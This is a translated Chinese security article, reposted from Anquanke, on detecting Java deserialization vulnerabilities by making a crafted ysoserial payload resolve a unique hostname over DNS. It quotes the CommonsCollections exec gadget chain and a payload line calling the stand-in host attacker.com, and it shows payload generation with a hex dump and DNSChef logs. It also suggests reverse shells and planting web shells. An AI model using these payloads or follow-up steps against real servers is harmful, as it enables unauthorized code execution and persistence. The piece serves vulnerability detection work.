Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】通过泄露到DNS的信息检测反序列化漏洞(含演示视频)

0
0
【技术分享】通过泄露到DNS的信息检测反序列化漏洞(含演示视频)

2017-03-27 14:41:39
来源:安全客 作者:pwn_361

阅读:904次
点赞(0)
收藏





【技术分享】通过泄露到DNS的信息检测反序列化漏洞(含演示视频)

翻译:pwn_361

稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

此刻,JAVA反序列化漏洞正在被厂商和攻击者所熟知。渗透测试人员今后还会遇到这种类型的漏洞。使用当前的一些小工具可以识别出这些漏洞,不过,大多数可用的小工具依赖于命令执行API。由于目标操作系统环境限制条件存在区别,因此,有效载荷的命令在目标系统中执行时,不一定会每次都成功。另外,在目标系统中,载荷所使用的命令也有可能不存在,或者载荷所要求的参数可能因命令的版本或安装的环境而有所不同(以GUN的netcat VS OpenBSD的netcat为例)。

由于在部分目标系统环境中存在上面提到的关于执行命令的一些限制,要想探测出这些漏洞就需要更多的试验和错误,对于目标,可能需要发送多个有效载荷,这使得自动化探测更加困难。制作一个通用的有效载荷,将会简化大规模反序列化漏洞的探测过程。在介绍我们的扫描方法之前,让我们为“更可靠的有效载荷”定义一个具体的实现目标。


目标

1.使有效载荷和具体的操作系统无关,如windows、Ubuntu、Alpine linux (Docker)、Solaris、AIX等系统。

2.即使目标的WEB容器运行在安全管理器或沙盒中,也能探测到发生的事情。

3.支持最常见的JVM1.6+版本,和可能的1.5*版本。

YSoSerial生成的大多数载荷都符合这些条件。


【技术分享】通过泄露到DNS的信息检测反序列化漏洞(含演示视频)

示例场景

GoSecure的渗透测试小组遇到过几个需要对当前的小工具(或者称为载荷、组件)做一些修改的案例。例如,发现了一个旧的JBoss实例,并且对外开放了JMXInvokerServlet接口。根据它的版本,我们预计它应该存在可利用的漏洞。但是令人惊讶的是,我们利用所有已知的漏洞测试工具对这个JBoss实例进行测试,但是都失败了。

这些测试工具的失败意味着存在两种可能性:一是这些小工具在这个特定的环境中不起作用,二是目标系统已经打了补丁。然而,我们利用一个简单的有效载荷(就是后面我们创建的DNS解析载荷)做了一个DNS查询,证实了目标系统确实存在相应漏洞。基于这个事实,我们认为,为了避免使用命令执行API,创建一个替代的小工具是有必要的。


创建一个DNS小工具

为了确认目标是否存在漏洞,我们将对YSoSerial(frohoff/ysoserial、未修改)的一个已经存在的小工具进行修改。我们将使用一个简单的代码代替命令执行载荷,该代码将触发一个DNS解析。

Ysoserial中最常用的一个有效载荷是“Commons Collection”。其中,“Transformer”链会触发下面的代码:

Transformer链(使用了命令执行载荷):

finalTransformer[]transformers=newTransformer[]{ newConstantTransformer(Runtime.class), newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}), newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}), newInvokerTransformer("exec",newClass[]{String.class},execArgs), newConstantTransformer(1)};

触发的代码:

((Runtime)Runtime.class.getMethod("getRuntime",newClass[0]).invoke(newClass[]{Object.class,Object.class},newObject[0])).exec("echoyourcommandhere");

上面是未经修改的Ysoserial的代码,为了不使用命令执行API,我们对它进行必要的修改。同时,我们不能使用“nslookup”命令来触发DNS解析,因为我们要避免使用命令执行API。为此,我们将直接使用java API。

下面是我们修改过的Transformer链(使用了DNS解析载荷):

newURL("http://resolve-me-aaaa.attacker.com").openConnection().getInputStream().read();

确认目标是否存在漏洞

如下图,我们利用Ysoserial(修改过的)生成了一个能解析独特主机名的一个载荷(或者称为配件、小工具)。将载荷发送给目标服务器后,如果服务器处理了任何反序列化,这个独特名称就可以作为追踪的方法。服务器可能会多次评估这个漏洞,或带有一些延时。使用独特主机名可以避免有可能产生的混淆,特别是当扫描多个主机时。在我们的ysoserial分支(GoSecure/ysoserial、已修改)中,已经有可用的完整POC代码。如下图,生成载荷:

$java-jarysoserial-0.0.5-SNAPSHOT-all.jarCommonsCollections1Dnshttp://resolve-me-aaaa.attacker.com|xxd 00000000:aced00057372003273756e2e7265666c....sr.2sun.refl 00000010:6563742e616e6e6f746174696f6e2e41ect.annotation.A 00000020:6e6e6f746174696f6e496e766f636174nnotationInvocat 00000030:696f6e48616e646c657255caf50f15cbionHandlerU..... 00000040:7ea50200024c000c6d656d6265725661~....L..memberVa 00000050:6c75657374000f4c6a6176612f757469luest..Ljava/uti 00000060:6c2f4d61703b4c000474797065740011l/Map;L..typet.. 00000070:4c6a6176612f6c616e672f436c617373Ljava/lang/Class 00000080:3b7870737d00000001000d6a6176612e;xps}......java. 00000090:7574696c2e4d6170787200176a617661util.Mapxr..java 000000a0:2e6c616e672e7265666c6563742e5072.lang.reflect.Pr 000000b0:6f7879e127da20cc1043cb0200014c00oxy.'...C....L. 000000c0:01687400254c6a6176612f6c616e672f.ht.%Ljava/lang/ 000000d0:7265666c6563742f496e766f63617469reflect/Invocati 000000e0:6f6e48616e646c65723b78707371007eonHandler;xpsq.~ [...]

向目标系统发送载荷后,如果在我们配置的DNS服务器上收到了一个相应的DNS查询请求,那么就可以确认目标存在漏洞。为了记录DNS查询请求,我们可以利用很多工具,如 DNS chef,Burp Collaborator或tcpdump。在下面的样本中,我们使用DNS Chef来记录查询请求,可以看到DNS查询请求成功到达测试服务器。

#pythondnschef.py-q--fakeip127.0.0.1-i0.0.0.0 [*]DNSChefstartedoninterface:0.0.0.0 [*]Usingthefollowingnameservers:8.8.8.8 [*]CookingallArepliestopointto127.0.0.1 [12:16:05]74.125.X.X:cookingtheresponseoftype'A'forresolve-me-aaaa.attacker.comto127.0.0.1 [12:16:05]192.221.X.X:cookingtheresponseoftype'A'forresolve-me-aaaa.attacker.comto127.0.0.1

下图是这种异步扫描方法的直观表示图:


【技术分享】通过泄露到DNS的信息检测反序列化漏洞(含演示视频)

其他考虑

一旦确认目标存在漏洞,渗透测试人员为了得到一个SHELL,需要继续做一些试验、或触发一些错误命令。关于这个工作,有一些有用的技巧:

1.确保你已经测试了一些反向SHELL命令(查看Reverse Shell Cheat-Sheet)。

2.“Common collection”载荷在某些特定的JVM中可能会失败(如IBM J9)。Mathias Kaiser制作了一个特殊的载荷,支持这个不常见的JVM,详情请看CommonsCollections6。

3.如果目标强制执行了一个安全管理器,你可能需要制作一个自定义的小工具。你可以通过“DEADCODE’s blog article”去了解transformer链的大致情况。一种流行的方法是找到Web根目录的路径,并编写一个可以稍后执行的web shell。关于此,在GoSecure仓库中有一些样本工具。再说一次,如果目标环境中的安全管理器会阻止命令执行,才会需要这些工具。


演示视频

我们创建了一个异步反序列化漏洞扫描工具“Break Fast Serial”,对DNS Chef也做了一点修改,下面是该工具的简要演示。演示了对单个目标的扫描。DNS泄漏的信息证明了这个服务器存在反序列化漏洞。该工具还支持对多个IP、端口进行扫描。该扫描器将对JBoss,Weblogic和Jenkins易受攻击的版本进行探测。对于如何配置DNS Chef服务器、如何生成载荷,及更多其它详细信息,请阅读参考手册,及相应POC代码。


结论

泄漏到DNS的信息有利于以下三个方面:

1.它可以实现反序列化漏洞的探测。

2.它有利于自动扫描多个主机。

3.即使目标服务器存在严格的防火墙限制,它也能识别出存在的漏洞。

我们发布了一款异步的自动扫描器,该扫描器能对JBoss,Weblogic和Jenkins易受攻击的版本进行探测。今后,我们会有计划的支持其他服务、框架。我们邀请测试者参与到这个开发过程中,这种更广泛和更快的方法,对防御者早期检测出反序列化漏洞很有帮助。

这篇文章主要关注了“CommonsCollection”载荷,但是我们建立小工具所使用的API也适用于其他载荷。同样的规则也适用于探测其他漏洞,如最近出现了Struts漏洞。


参考

AppSecCali 2015: Marshalling Pickles

Blind Java Deserialization

Blind-Java-Deserialization-Part-II


【技术分享】通过泄露到DNS的信息检测反序列化漏洞(含演示视频)
【技术分享】通过泄露到DNS的信息检测反序列化漏洞(含演示视频)
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://gosecure.net/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/

Viewing all articles
Browse latest Browse all 12749